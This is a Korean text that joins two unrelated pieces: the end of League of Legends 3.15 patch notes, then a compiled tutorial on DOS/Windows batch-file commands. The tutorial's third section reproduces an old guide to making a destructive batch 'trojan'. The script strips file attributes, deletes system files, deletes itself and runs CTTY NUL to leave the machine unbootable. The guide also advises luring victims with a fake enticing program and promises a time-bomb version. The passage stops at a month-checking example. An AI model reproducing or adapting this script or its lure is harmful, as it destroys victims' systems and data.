  • 기본 시전 사거리가 루시안의 기본 공격 사거리와 같아졌습니다. (변경 후 550, 기존 570)

룰루

요약: 요정 친구 픽스의 기본 피해를 높이고 도와줘, 픽스!의 기본 보호막을 강화했으며 급성장의 마나 소모량을 낮추었습니다.

일반적인 서포터로서 룰루의 방어력은 조금 낮은 편이었습니다. 그래서 체육관에서 훈련을 좀 시켰습니다. 대부분의 서포터와 마찬가지로 이번 프리시즌 동안 룰루도 예의주시하고 있습니다.

기본 지속 효과 - 요정 친구 픽스

  • 기본 피해가 9/21/33/45/57/69/81/93/105로 증가했습니다. (기존 9/18/27/36/45/54/63/72/81)

E - 도와줘, 픽스!

  • 기본 보호막 수치가 80/120/160/200/240로 증가했습니다. (기존 60/105/150/195/240)

R - 급성장

  • 마나 소모량을 전 레벨에서 100으로 낮추었습니다. (기존 전 레벨에서 150)

리 신

요약: 이제 리 신이 방호 스킬로 미니언이나 와드를 향해 돌진할 때 대상에게 보호막을 제공하지 않습니다.

아군 플레이어가 아닌 대상에도 방호를 활용할 수 있기 때문에 리 신 특유의 화려한 플레이가 가능해지지만, 부수적인 위력은 조금 줄여도 진짜 재미 요소가 망가지지는 않으리라 판단했습니다.

W - 방호

  • 아군 챔피언에게만 보호막이 적용됩니다.

소라카

장기적으로 더 변경할 계획이 있지만 지금은 우선 공격로 전투 단계에서 소라카의 생존력과 기동성을 높여 이번 프리시즌을 잘 넘길 수 있게 했습니다.

일반

  • 기본 방어력이 13으로 증가했습니다. (기존 9.4)
  • 기본 이동 속도를 340으로 상향했습니다. (기존 335)

시비르

요약: 재빠른 발놀림의 이동 속도 증가 효과가 스킬 레벨에 따라 최대 50까지 상승하도록 하고 주문 방어막의 지속시간을 반으로 줄였습니다. 사냥 개시의 지속시간도 줄였고 재사용 대기시간은 늘렸으며 이동 속도 증가 효과 지속 시간은 레벨에 따라 최대 4초까지 늘어나도록 했습니다.

전반적으로 봤을 때 시비르는 바람직한 방향으로 발전하고 있습니다만, 지금은 조정이 필요한 때인 것 같습니다. 요즘 시비르는 특히 게임 초반에 대단한 기동성을 자랑하고 있는데 이를 하향하여 게임 초반 게임 장악력을 줄이기로 했습니다. 또한 시비르를 상대하는 플레이어에게도 기회를 더 많이 열어주고자 했습니다.

기본 지속 효과 - 재빠른 발놀림

  • 이동 속도 증가 효과를 하향해 이제 30/35/40/45/50(1/6/11/16/18 레벨)으로 변경됐습니다. (기존 전 레벨에서 50)

E - 주문 방어막

  • 지속시간이 1.5초로 감소했습니다. (기존 3초)

R - 사냥 개시

  • 총 지속시간이 8초로 감소했습니다. (기존 10초)
  • 이동 속도 증가 효과 지속시간은 이제 2/3/4초로 변경됐습니다. (기존 전 레벨에서 4초)
  • 재사용 대기시간이 120/100/80초로 증가했습니다. (기존 120/90/60초)

아리

아리는 게임 극초반 공격로 단계에서 뒤쳐지면 절대 만회할 수 없었지요. 이번 변경은 첫 귀환이나 고대 골렘의 문장을 획득하기 전까지 어느 정도 견딜 여지를 주기 위한 것입니다.

일반

  • 기본 마나를 250으로 상향했습니다. (기존 230)
  • 기본 5초당 마나 재생량을 7로 상향했습니다. (기존 5초당 6.25)

잔나

최근 서포터 챔피언 변경 사항을 고려하여, 잔나의 궁극기 마나 소모량을 낮추기로 했습니다. 앞으로도 계속해서 잔나를 개선해 나갈 예정이므로 기대해 주세요.

R - 계절풍

  • 마나 소모량을 전 레벨에서 100으로 변경했습니다. (기존 100/150/200)

타릭

요약: 보석학의 방어력 계수를 줄였고 몇 가지 변경 사항을 산산조각에 적용했습니다. 산산조각 스킬의 오오라가 이제 아군 챔피언의 방어력을 정확한 수치만큼 높입니다. 또한 피해량의 방어력 계수가 감소했습니다. 방어력 감소 효과 또한 기본 수치와 방어력 계수를 모두 낮추었습니다.

타릭은 훌륭한 스킬 구성을 갖추고 있지만 순간 피해량이 너무나 영롱한데다 방어력 아이템을 장착할수록 피해량이 더더욱 커진다는 문제가 이번 프리시즌 동안 드러났습니다. 다른 서포터와 마찬가지로 남은 프리시즌 기간 동안 타릭도 주의 깊게 살펴볼 것입니다.

기본 지속 효과 - 보석학

  • 방어력 계수를 0.2로 낮추었습니다. (기존 0.3)

W - 산산조각

  • 오오라 효과와 관련된 버그를 수정해 이제 12%로 정확히 적용됩니다. (기존 약 15%)
  • 피해량의 방어력 계수를 0.2로 낮추었습니다. (기존 0.3)
  • 기본 방어력 감소량을 5/10/15/20/25로 줄였습니다. (기존 10/15/20/25/30)
  • 조각의 방어력 계수를 0.05로 낮추었습니다. (기존 0.1)

피들스틱

요약: 공포의 후반 레벨 지속시간을 줄이고 공포와 까마귀 폭풍의 마나 소모량을 낮추었습니다.

지금과 같은 게임 흐름에서 공포 스킬은 스킬 레벨이 높아질수록 더욱 더 공포스러워집니다. 그래서 피들스틱을 하향하긴 했지만, 그에 대한 보상도 필요하다고 봤습니다. 마나 소모량을 줄이면 (특히 팀전 후에) 피들스틱이 전장에서 좀 더 오래 싸울 수 있을 것입니다. 또한 공포의 1레벨 지속시간이 약간 길어지면서 게임 초반에 안정적인 플레이를 펼칠 수 있게 되었습니다.

Q - 공포

  • 고레벨 구간에서 지속시간을 줄여 1.25/1.50/1.75/2.00/2.25초로 변경했습니다. (기존 1/1.5/2/2.5/3초)
  • 마나 소모량을 전 레벨에서 65로 변경했습니다. (기존 65/75/85/95/105)

R - 까마귀 폭풍

  • 마나 소모량을 전 레벨에서 100으로 변경했습니다. (기존 150/200/250)

약간의 변경 및 버그 수정

가렌

E - 심판

  • 이제 몬스터에게 입히는 피해량이 감소되지 않습니다. (미니언 피해량 감소 효과는 유지됩니다.)
  • 피해량이 낮게 적용되던 버그를 수정했습니다.

리븐


  • 리븐이 달릴 때의 애니메이션을 개선했습니다.

리산드라

R - 얼음 무덤

  • 둔화 효과가 가끔 제대로 재적용되지 않던 버그를 수정했습니다.

마오카이

R - 복수의 소용돌이

  • 복수의 소용돌이에 저장된 추가 피해량을 보여주는 기능을 추가했습니다.

베인

E - 선고

  • 선고가 대상에 적중하는 순간에 돌진, 공중에 띄우기, 밀침, 당기기 등의 효과로 인해 대상이 이동하면 간혹 기절 효과가 적용되지 않는 버그를 수정하였습니다.

브랜드

E - 발화

  • 시전 거리가 너무 길게 적용되던 버그를 수정했습니다. (현재 625, 기존 650)

쉬바나

E - 화염 숨결

  • 용 형상일 때 화염 숨결 스킬이 적의 방어력을 감소시키던 버그를 수정했습니다.

애니비아


  • 애니비아와 애니비아의 알, 모든 스킨들(어둠서리 애니비아 제외)의 텍스처가 업그레이드 되었습니다!

초가스

Q - 파열

공중에 띄운 후 적용되는 둔화 효과는 원래 1.5초였습니다. 툴팁에 오류가 있었습니다.

  • 둔화의 지속시간을 정확히 나타내도록 툴팁을 수정했습니다. (실제 지속시간은 1.5초이지만 툴팁에는 3초로 표시되어 있었습니다.)

케이틀린


  • 케이틀린이 달릴 때의 애니메이션을 개선했습니다.

판테온

W - 제오니아의 방패

  • 이제 적 미니언과 중립 몬스터에도 시전할 수 있습니다.

피오라

이제 대상을 드러내는 효과가 적용된 은신 상태의 대상에게 검의 왈츠를 시전했을 때 제대로 피해를 입힙니다.

R - 검의 왈츠

  • 검의 왈츠가 은신 중이지만 드러난 상태인 대상에 피해를 입히지 않던 버그를 수정했습니다.

▲Top


아이템

시야 아이템

  • 이제 플레이어가 현재 설치한 와드 수를 적이 시야 아이템 툴팁에서 볼 수 없습니다.

정글 사냥꾼 아이템

현상금 사냥꾼 지속 효과를 지닌 아이템을 구매하는 건 일부 정글 사냥꾼에겐 위험한 선택일 수 있습니다. 팀전에서 잘 싸우면 골드 획득량이 크게 늘겠지만 어시스트나 킬을 올리지 못하면 손해이기 때문이죠. 정령석 계열 아이템을 정글 사냥꾼들의 비주류 선택이 아닌 핵심 아이템으로 자리매김하고자 현상금 사냥꾼 대신 적립을 지속 효과로 넣었습니다.

망령의 영혼

  • 현상금 사냥꾼 대신 적립을 지속 효과로 넣었습니다.

도마뱀 장로의 영혼

  • 현상금 사냥꾼 대신 적립을 지속 효과로 넣었습니다.

장신구

각 장신구의 핵심적인 특징을 더욱 부각시켜 세 장신구 간의 상호작용을 더 활성화하고자 합니다. 수정 구슬을 변경해 정찰 또는 전투 도중에 시야를 확보할 수 있는 수단으로 자리잡도록 했습니다. 은신하기 직전에 적 은신 챔피언을 드러내도 은신 효과가 발동한 후에는 보이지 않습니다.

탐지용 렌즈

  • 재사용 대기시간이 120초로 줄었습니다. (기존 180초)

상급 탐지용 렌즈

  • 재사용 대기시간이 60초로 줄었습니다. (기존 90초)

예언자의 렌즈

  • 재사용 대기시간이 60초로 줄었습니다. (기존 90초)
  • 투명한 유닛을 드러내는 시간이 8초로 줄었습니다. (기존 10초)

수정 구슬

  • 신규: 효과에 적중당한 적 챔피언을 5초간 드러냅니다. 이 효과는 은신 챔피언에겐 적용되지 않습니다.
  • 시전 거리가 1500으로 증가했습니다. (기존 1100)

상급 수정 구슬

  • 신규: 효과에 적중당한 적 챔피언을 5초간 드러냅니다. 이 효과는 은신 챔피언에겐 적용되지 않습니다.
  • 사거리가 2500으로 증가했습니다. (기존 1500)

망원 구슬

  • 신규: 효과에 적중당한 적 챔피언을 5초간 드러냅니다. 이 효과는 은신 챔피언에겐 적용되지 않습니다.
  • 사거리가 3000으로 증가했습니다. (기존 2500)

▲Top


소환사의 협곡

다음 변경 사항은 소환사의 협곡에만 적용됩니다.

중립 몬스터

프리시즌 시작 후 계속 정글 상황을 유심히 관찰해 왔습니다. 정글 사냥꾼이 중립 몬스터를 사냥하는 속도는 전반적으로 양호한 수준이었지만, 야영지들을 맨 처음에 한 바퀴 돌기가 좀 더 쉽도록 변경했습니다.

  • 고대 골렘
    • 피해량이 60으로 줄었습니다. (기존 65)
  • 도마뱀 장로
    • 피해량이 60으로 줄었습니다. (기존 65)
  • 유령
    • 골드 획득량이 65로 증가했습니다. (기존 60)

게임 시스템

프리시즌의 골드 획득량은 대체로 높은 편으로, 이 때문에 지고 있는 팀이 역전할 여지가 줄어드는 상황이 발생합니다. 어시스트 골드 획득량을 좀 더 알기 쉽도록 개선하고 게임 중후반에 골드 획득량이 '알 수 없는 이유로' 늘어나지 않도록 변경했습니다.

  • 어시스트 골드 보상이 이제 시간에 따라 증가하지 않습니다. (변경 후 킬 보상의 50%, 기존 게임 시간에 따라 킬 보상의 50~80%)

억제기를 파괴하는 플레이어들에게 보상을 더 주고 슈퍼 미니언이 이름값을 하도록 했습니다. 이제 억제기가 파괴된 공격로에 더 주의를 기울여야 할 것입니다.

  • 슈퍼 미니언
    • 주변 미니언의 피해량 증가 효과가 70%로 커졌습니다. (기존 40%)
    • 주변 미니언의 방어력/마법 저항력 증가 효과가 70으로 커졌습니다. (기존 40)

▲Top


칼바람 나락

포로에게 먹이를 줄 수 있는데 장신구 같은 게 왜 필요하죠?!

  • 모든 플레이어가 장신구 슬롯에 포로 간식을 가지고 게임을 시작하게 됩니다.

▲Top


특성

공격

  • 무술 연마
    • 추가 공격력이 5에서 4로 감소했습니다.
  • 비전 연마
    • 추가 주문력이 8에서 6으로 감소했습니다.

방어

  • 인내심
    • 5초당 잃은 체력의 0.7/1.35/2%를 회복하도록 변경됐습니다. (기존 5초당 잃은 체력의 1/2/3%를 회복)
  • 전설의 수호자 (기존 명칭 '불굴')
    • '불굴' 특성과 이름이 뒤바뀌어 나오는 버그를 수정했습니다.
    • 적 챔피언이 그 이상 가까이 오면 방어력과 마법 저항력이 증가하는 거리를 900에서 700으로 줄였습니다.

▲Top


소환사 주문

이번 3.15 패치에는 적용되지 않았지만, 소환사 주문이 현 프리시즌 상황에 더 어울리도록 변경될 계획임을 미리 알려드립니다. 소환사 주문 변경 사항이 공개되기 전에 먼저 새로워진 아이콘부터 만나보세요!

  • 총명, 천리안, 부활, 방어막, 점멸, 순간이동, 점화 주문의 아이콘을 변경했습니다. 


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batch 파일 작성을 위한 최고의 설명 사이트 모음

1. http://ss64.com/

2. http://www.dostips.com/DtTipsStringManipulation.php



commandline을 리턴 결과로 받아서 쓰는 방식 1 : http://www.tomshardware.com/forum/230090-45-windows-batch-file-output-program-variable


batch로 sleep 임의 구현 : http://hallang.tistory.com/248


참고 사이트 1 : 
http://cshap.tistory.com/entry/windows-%EB%B0%B0%EC%B9%98-%ED%8C%8C%EC%9D%BC-%EA%B8%B0%EB%B3%B8-%EB%AC%B8%EB%B2%95 

참고 사이트 2 : http://www.dreamy.pe.kr/zbxe/CodeClip/6383

참고 사이트 3 : http://heejeongkang.blogspot.kr/2013/07/batch-file-for-dos-bat-file.html#!/2013/07/batch-file-for-dos-bat-file.html


전체 출처 : 
http://blog.naver.com/PostView.nhn?blogId=ygszzang11&logNo=50152006593

1. 배치파일(BAT) 명령어



출처 : http://blog.naver.com/dude93/25379331 
 

배치 파일 연산자

쉘 스크립트 동의어

%

$

명령어줄 매개변수 접두사

/

-

명령어 옵션 플래그

\

/

디렉토리 패스 구분자

==

=

(같음) 문자열 비교 테스트

!==!

!=

(다름) 문자열 비교 테스트

|

|

파이프

@

set +v

현재 명령어를 에코하지 말 것

*

*

파일명 "와일드 카드"

>

>

파일 재지향(덮어 쓰기)

>>

>>

파일 재지향(덧붙여 쓰기)

<

<

표준입력 재지향

%VAR%

$VAR

환경 변수

REM

#

주석

NOT

!

뒤에 나오는 테스트 부정

NUL

/dev/null

명령어 출력을 없애기 위한 "블랙홀"

ECHO

echo

에코 (Bash 에는 옵션이 많이 있음)

ECHO.

echo

빈 줄 에코

ECHO OFF

set +v

다음에 나오는 명령어를 에코하지 말 것

FOR %%VAR IN (LIST) DO

for var in [list]; do

"for" 루프

:LABEL

없음 (필요치 않음)

라벨

GOTO

없음 (대신 함수를 씀)

스크립트의 다른 곳으로 건너 뜀

PAUSE

sleep

일정 간격을 두고 잠시 대기

CHOICE

case 나 select

메뉴 선택

IF

if

if-test

IF EXIST FILENAME

if [ -e filename ]

파일이 존재하는지 확인

IF !%N==!

if [ -z "$N" ]

변경가능한 매개변수인 "N"이 없다면

CALL

source 나 . (도트 연산자)

다른 스크립트를 "포함"

COMMAND /C

source 나 . (도트 연산자)

다른 스크립트를 "포함"(CALL과 동일)

SET

export

환경 변수를 세트

SHIFT

shift

명령어줄 변수 목록을 왼쪽으로 이동(shift)

SGN

-lt or -gt

(정수) 부호(sign)

ERRORLEVEL

$?

종료 상태

CON

stdin

"콘솔"(표준입력)

PRN

/dev/lp0

(일반적인) 프린터 디바이스

LP1

/dev/lp0

첫번째 프린터 디바이스

COM1

/dev/ttyS0

첫번째 시리얼 포트

 

 

2. 배치 파일 만들기



출처 : http://my.dreamwiz.com/bicter/tech/pwr_02.htm 
 

 BAT파일 만드는 방법. 


일반 도스 명령어와 배치전용 명령어를 사용하여 다음의 3가지 방식을 사용하여 아스키 문장파일 형식으로 만든다. 

  ① COPY명령사용 ....  C:\>COPY CON XXXX.BAT 
  ② 문서편집기 이용 ... 'EDIT', 'SAN' 
  ③ 문서 작성기(WordProcessor) ..  아래한글,훈민정음 등 

 

도스에는 명령어를 일괄적으로 처리하기위한 배치파일이라는 것이 있습니다.
대부분의 사람들은 배치파일이 도스환경을 쉽게 만든다는 사실을 과소평가하는데, 컴퓨터를 좀더 쉽게 사용하고 싶다면 배치파일을 꼭 짚고 넘어가는것이 좋습니다.


배치파일이란 ?

컴퓨터의 동작 상태를 살펴 보면 항상 사용자와의 상호작용에 의하여 작업이이루어진다는것을 알 수 있습니다.  도스라는 운영체제도 사용자가 명령을 입력하면 그 명령에 대해 도스가 분석하여 사용자가 원하는 실행 결과를 제공합니다.
따라서 사용자는 항상 도스 프롬프트 상에서 일일이 키보드를 이용한 타이핑으로 명령을 내려야 하고, 하나의 명령이 내려지면 완료될 때까지 다음 명령을 내릴수가 없습니다. 작업 과정이 얼마되지 않는다면 큰 상관이 없으나 그 과정이 매우 길고 복잡하다면 사용자는 지루함을 느끼게 됩니다. 또한 비록 짧은 작업과정이라도 컴퓨터를 켤때마다 매번 똑같은 과정을 일일이 지시하는 것도 귀찮을 것입니다.
이러한 경우 배치 파일은 가장 확실한 해결책입니다.

배치파일의 기능은 순차적이고 반복된 동일한 작업 과정을 몇개의 혹은 수십, 수백 개의 연관된 명령어를 하나의 파일로 집약하여 그 하나의 파일(배치파일)만 실행함으로써 원하는 작업 과정을 수행하는것입니다.배치파일에 붙는 확장자는 .bat(batch 의 약어) 입니다.도스에서 실행이 가능하기 때문에 .com, .exe 확장자가 붙는 외부 명령어와 함께 실행 가능한 파일로 분류됩니다.차이가 있다면 .com, .exe 명령어는 컴퓨터만 해석 가능한 기계어 코드로 구성되어 있는반면, 배치 파일은 사람이 알아볼수 있는 일반 텍스트로 이루어져있다는 것입니다.

그래서 사용자들은 문서작성에 이용하는 워드프로세서나 텍스트에디터 등을 이용해 배치 파일을 작성할 수 있습니다. 그러나 워드프로세서는 덩치가 크고 원래 목적이 편집과 출력을 위해 만들어진 것이므로 단순한 배치 파일을 작성하는 데는 권하고 싶지 않습니다.

저장할때도 워드프로세서 고유의 포맷(예" .hwp 확장자를 가지는 아래아한글 데이터 파일)으로 저장하면 인식이 되지 않으므로 아스키 파일로 저장해야 합니다.가장 편리한 방법은 일반 문서 에디터( 도스의 Edit, Q에디터,U에디터 등)를 이용하거나 도스의 'Copy Con' 명령으로 배치 파일을 만드는 것입니다.다음과 같이 'Copy con 파일명' 형식으로 입력하고 엔터를 누르면 도스 프롬프트 상태에서 편집할 수 있는 상태가 됩니다.

C:\Bats> copy con Timedate.bat
cls
time
date
^Z

   1 File(s) copied

여기서 쓰고 싶은 대로 적기만 하면 됩니다.제일 마지막행의 ^Z 는 파일의 제일 마지막 부분이라는 것을 도스에게 알려주는 코드로 <  Ctrl + Z > 키 또는 F6 키를 누르면 됩니다. 그리고 엔터키를 한번더 누르면 '1 File(s) copied' 라는 메세지가 출력되는데, 이는 방금 ' copy con 파일명 ' 으로 작성된 문서파일이 성공적으로 만들어졌다는 뜻입니다.위의 문서파일은 확장자가 .BAT 로 붙었기 때문에 실행가능한 외부 명령어가 되는데, 배치파일은 명령이 기록되어 있는 순서대로 실행되기 때문에 timedate.bat 를 실행시키면 먼저 화면을 지우고 난뒤 시스템의 시간과 날짜를 설정합니다.간단한 배치파일은 'copy con 파일명' 으로 작성하는 것이 다른 프로그램의 도움없이 쉽고 빠르게 처리할 수 있습니다. 하지만 배치파일이 조금 길거나 작성중에 수시로 편집할 일이 생기는 경우에는 불가능합니다. 'copy con 파일명' 으로 파일을 작성하면 행으로 다시돌아갈 수 없을 뿐 아니라 수정이 불가능하기 때문입니다. 그러므로 배치파일을 만들 필요가 있을때는 문서 에디터를 이용하는 것이 좋습니다.

▶   배치파일 작성 명령어 9인방

배치 파일은 파일 안에 기록되어 있는 명령의 순서대로 실행됩니다.가장 대표적인 것이 부팅에 이용되며, 컴퓨터의 루트 디렉토리에 위치하고 있는 Autoexec.bat 파일입니다. 그런데 만약 배치 파일의 실행의 순서를 순차적이 아닌멀티부팅용 Autoexec.bat 처럼 사용자 마음대로 정하고 싶다면 배치파일에 제공되는배치명령어의 용도를 알고 있어야 합니다.


1. CALL 


현재 실행중인 배치 파일을 종료하지 않고 필요한 다른 배치파일을 호출하여 실행한 다음 원래의 배치파일로  다시 돌아오려고 할 때 사용됩니다.

◇ 사용법 : Call [drive:]\[경로]\<배치파일명>[.BAT]

◇ 예  :  Call c:\bats\sample.bat

어떤 배치 파일을 실행하는 도중에 경로 C:\bats 에 있는  sample.bat 파일을 실행한 다음 다시 원래의 배치파일로 돌아옵니다.


2. CHOICE

배치 프로그램 내에서 사용자의 선택을 묻기 위해 사용됩니다. 배치 파일 제작자가 설정한 물음을 출력하면서 지정된 키 입력을 기다립니다. 이 명령은 배치파일 내에서만 사용 가능합니다.

◇ 사용법 :choice [/C[:]문자열][/N][/S][/T[:]기본키,대기시간][메세지]

◇ 옵션

- /C[:]문자열  : 사용자가 선택할 수 있는 키목록을 [] 괄호 내에 ', ' 로 구분하여 출력하고  /C 스위치를 사용하지 않으면 기본적으로  YN이 사용됩니다.

- /N : 프롬프트를 출력하지 않도록 합니다.

- /S : 사용자의 입력에서 소문자, 대문자를 구분하도록 합니다.

- /T[:]기본키, 대기시간 : 기본키를 지정한 후 대기시간 동안 사용자의 키 입력이 없으면  자동적으로 기본키가 입력된 것으로 간주하고 진행됩니다. 지정 가능한 대기시간은 초단위이며 0에서 99 사이의 값입니다.

- 메세지 : 화면에 출력될 메세지를 지정합니다.

◇ 예 : choice /c:abCD /s /t : C, 5 다음중에서 하나를 선택하십시오 a, b, C, D
◇ 설명 : 입력 가능한 키를 a,b,C,D로 한정하며 사용자로부터 입력되는 영문자의 대,소문자를 구분하는데, 만약 5초 내에 사용자로부터 키 입력이 없다면 C 가 입력된 것으로 간주합니다. 그리고 화면에는
'다음중에서 하나를 선택하십시오 a, b, C, D[a,b,C,D]? ' 
라는 메세지가 출력됩니다.


3. ECHO

배치파일 실행중에 명령어를 화면에 표시할 것인지의 여부를 설정하며, 그 상태를 표시합니다. 한편 ECHO 명령 뒤에 오는 메세지는 화면에 나타납니다.

◇ 사용법 : echo [on/off] [문자열]

◇ 옵션
- on : 배치 파일 실행중에 그 배치 파일 내의 명령어를 화면에 표시합니다. 
- off : 배치 파일 실행중에 명령어를 화면에 출력하지 않도록 합니다.
- 문자열 : 화면에 출력하고 싶은 메세지를 적어줍니다.
- 없음 : 현재 ECHO 설정 상태를 표시합니다.

◇ 예  :

echo off    
☞ 현재 실행중인 배치 파일 내의 명령어를 화면에  나타나지 않도록 함.
echo
echo 안녕하세요?~
☞ 현재 echo 설정상태를 표시하며  안녕하세요?~ 라는 문구를 화면에 출력합니다.  


4. FOR

지정된 집합 중의 각각의 요소에 대하여 명령으로 설정한 처리를 반복 실행합니다.

◇ 사용법 

For %%<변수> IN (<집합>) DO <명령> [<옵션>]    ☞ 배치파일용. 
For %<변수> IN (<집합>) DO <명령> <옵션>]         ☞ 순차처리용.


◇ 옵션

- %%<변수>, &<변수>  : 변수로 사용되는 것은 임의의 영문자로 1자만 허용됩니다.  주의할 점은 배치파일에서 사용할 경우는 반드시 %%처럼 두개를 연달아 사용해야 하며, 일반 도스 프롬프트에서 사용할 때는 % 하나만 사용합니다.

- <집합> : %%<변수>에 대입하고 싶은 값을, 또는 스페이스로 구분하여 대입하고 싶은 순서대로 나열합니다.

- <명령> : %%<변수>에 대입되어 있는 값에대해 반복적으로 실행하고 싶은 명령을 지정합니다.

- <옵션> : 지정한 명령의 옵션이나 FOR 명령에서 지정한 옵션을 설정합니다.

◇ 예

for  %%f  in  (bak tmp $$$) do del *.%%f /p       ☞ 배치파일의 경우
for %d  in  (read,wh,file) do hlist %d*.*               ☞ 도스 프롬프트에서 실행시

◇ 설명 : 첫 번째는 bak, tmp, $$$ 를 순서대로 %%f 환경 변수에 대입하여 차례대로
 DEL *.bak /p, DEL *.tmp /p, DEL *.$$$ .p 를 실행한 것과 동일한 결과를 얻게됨.

두번째는 READ,WH,FILE 를 순서대로 %d 환경변수에 대입하여 차례대로
 HLIST READ*.*, HLIS TWH *.* , HLIST FILE *.* 를 실행한 것과 동일한 결과를 얻게 됩니다.


5. GOTO

배치 처리의 흐름을 <레이블>에서 정의되어 있는 위치로 옮깁니다.

◇ 사용법 :Goto <레이블>

◇ 예 :
goto loop
:loop
각종 처리할 내용


◇ 설명  : 레이블 loop 로 배치 처리의 제어권을 이동시켜 loop 항목에 지정된 각종 처리할 내용을 실행시킵니다.

◇ 참고  : 배치 파일에 레이블 표시는 레이블명 앞에 콜론(:) 을 붙여주며 줄을
              바꿔 맨 앞에 지정해 주어야 합니다.



6. IF

지정한 조건의 판단 결과에 따라서 배치 처리를 진행합니다.

◇ 사용법 :  If [NOT] <조건> <명령>

◇ 옵션

- NOT : 지정한 조건의 반대 조건일 때만 실행합니다.

- 조건

- ERRORLEVEL <수치> : 바로 전에 실행한 명령(프로그램)의 종료 코드가 <수치> 이상일 때에는 참이 되고 <명령> 이 실행됨.

- <문자열1> == <문자열2> : <문자열1> 과 <문자열2> 가 같을 때에만 참이되고 <명령>이 실행됩니다. 주의할 점은 문자열의 대,소문자가 구별되며, 문자열중에 구분기호(콤마,스페이스,세미콜론,등호,탭)가 포함되어 있으면 않됩니다.

- EXIST <파일명> : <파일명>으로 지정한 파일(경로포함)이 존재할 때에만 참이 되고    <명령>이 실행됩니다. <파일명>에는 와일드카드 문자의 사용이 가능합니다.

◇ 예 : 
if errorlevel 2 goto quit
if not %1 ==%2 goto process
if exist d:\work\temp.$$$ del d:\work\temp.$$$


◇ 설명 :
직전에 실행한 명령의 종료 코드가 2 이상일 경우 레이블  QUIT로 이동합니다.

환경변수 %1과 환경변수 %2에 대입되어 있는 문자열이 같지 않을 경우에만 레이블 PROCESS 로 이동합니다.

경로 D:\Work 에 temp.$$$ 라는 파일이 존재하면 그 파일을 삭제합니다.


7. PAUSE

배치 파일 실행을 일시 정지합니다.

◇ 사용법 :Pause [문자열]

◇ 옵션

- 문자열 : 문자열을 생략하면 'press any key to continue...'라는 메세지가 화면에  출력됩니다. 만약 PAUSE 명령 뒤에 어떤 메세지를 지정하여 그 메시지를  출력하고 싶다면 'Echo On' 명령을 우선 내려야 합니다.

◇ 예 :   
 echo on
 pause  준비가 되었으면 아무키나 누르세요...


◇ 설명 :  배치 처리 중 pause명령을 만났을때 임의의 다른 메시지를 화면에 출력하고 싶다면 예 에서와 같이 반드시 echo on 명령이 선행되어야 하며 예의 경우에는  ' 준비가 되었으면 아무키나 누르세요...' 라는 메세지가 출력됩니다.

◇ 참고 :  위 처럼 하면 화면에 Pause 라는 명령어까지 같이 출력되므로 이런경우
echo on 
echo  준비가 되었으면 아무키나 누르세요...
pause > Null


이런식으로 사용하면 출력하고자 하는 메세지만 화면에 출력됩니다.


8. REM

배치 파일 내에 주석문을 부여하고 싶을 때 사용합니다.

◇ 사용법 :rem [문자열]

◇ 옵션    

- 문자열 : 주석문으로 쓰고 싶은 것을 적어줍니다.

◇ 예 : REM 이 배치파일은 샘플입니다.

배치파일내의 적당한 위치에 적절한 주석문을 붙여두면 배치 처리의 흐름을 일목요연하게 볼 수 있습니다.


9. SHIFT

배치 파일에 주어진 파라미터(%1~%9)와 실행시에 지정되는 값과의 대응을 하나씩 뒤로 이동하여 표시합니다.

◇ 예
<TEST.BAT>
:loop
if "%1" == " " goto end
echo %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
shift
goto loop
:end    


위와 같이 배치 파일을 작성해두고 다음과 같이 배치파일을  실행해 보면 shift 명령이 어떤 역할을 하는지 금방 알 수 있습니다..
C:\bats> test.bat A B C D E F G H I J 0 1 2 3 4 5  똑같이 입력하고 실행후 확인.

 

 

  
3. 배치 파일 만들기 예제
 

이 문서는 제가 옛날에 배치파일 공부할 때 하이텔 어디선가 다운받은 파일인데 누가 작성한 것인지 지금은 오래되어 기억이 나질 않습니다.

편집없이 그대로 옮깁니다.

 배치파일로 바이러스 제작하기


아주 무식하고 단순한 트로이목마를 만들어보자.
지금 만드는것은 아주 초보적인 수준으로 발견즉시  탐지당할수 있으나
발견즉시 피해를 입히며 자폭할것이니 사용하기는 좋다.

목적 : 침투즉시 시스템 영역 파괴로 부팅불능

@ECHO OFF

ATTRIB C:\*.* -H -R -S  > NUL   <= 이줄은 시스템파일의 숨김,읽기전용,
                   시스템등의 속성을 해제시켜 지우거나 변형이 가능케한다.
                    "> NUL"  은 변형결과가 화면에  안뜨게 하는것이다.
DEL *.SYS < NUL  <= 모든 시스템 파일을 지워버린다.

DEL XXX.YYY  < NUL <=  본인 스스로 해당  파일명 삭제명령, 역시  보이지않게!!
CTTY NUL   <= 이것까지 추가하면 시스템이 정지한다.
                   그래서 부팅해보면 시스템 영역이 파괴되어 작동안한다.
^Z

여기에 화면에 어떤 메시지를 띄울수도 있을것이다.

ECHO       " 이 컴퓨터는 부팅영역을 나에게 빼앗겼다!! "

아주 간단하면서 효과는 확실하다.
현재 이건 극히 초보적인  것이나 약간만 응용하여 다른 파일을 지우거나 파일명을 바꾸어놓는 조작을 할 수 있다. 다만 상대 사용자가 바로 발견할수 있다는것이 단점일것이다.
그래서 이것을 등록하거나 제공하기 앞서 엄청난 것이라는 광고나 어떤 미끼를 던진다면 확실히 물릴것이다.

아래는 간단한 파일 찾기 프로그램이다.
여기에 인공지능(?) 타이머를 추가해서 강력한 시한폭탄이 되게 만들 것이니 일단은 자세히 보고 원리를 이해하기 바란다.
이것들은 지금당장이라도 이름만 바꾸어서 컴파일시켜 자료실에 등록도 할 수 있는 것이다.
그러니 각별히 사용에 주의를 요한다.

다음 예제를 살펴보자.

예) 월 표시 프로그램

@ECHO OFF
GETMONTH.COM    <= 월체크 유틸리티
IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 ECHO 12
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 ECHO 11
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 ECHO 10
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 ECHO  9
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 ECHO  8
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 ECHO  7
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 ECHO  6
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 ECHO  5
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 ECHO  4
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 ECHO  3
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 ECHO  2
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 ECHO  1
^Z

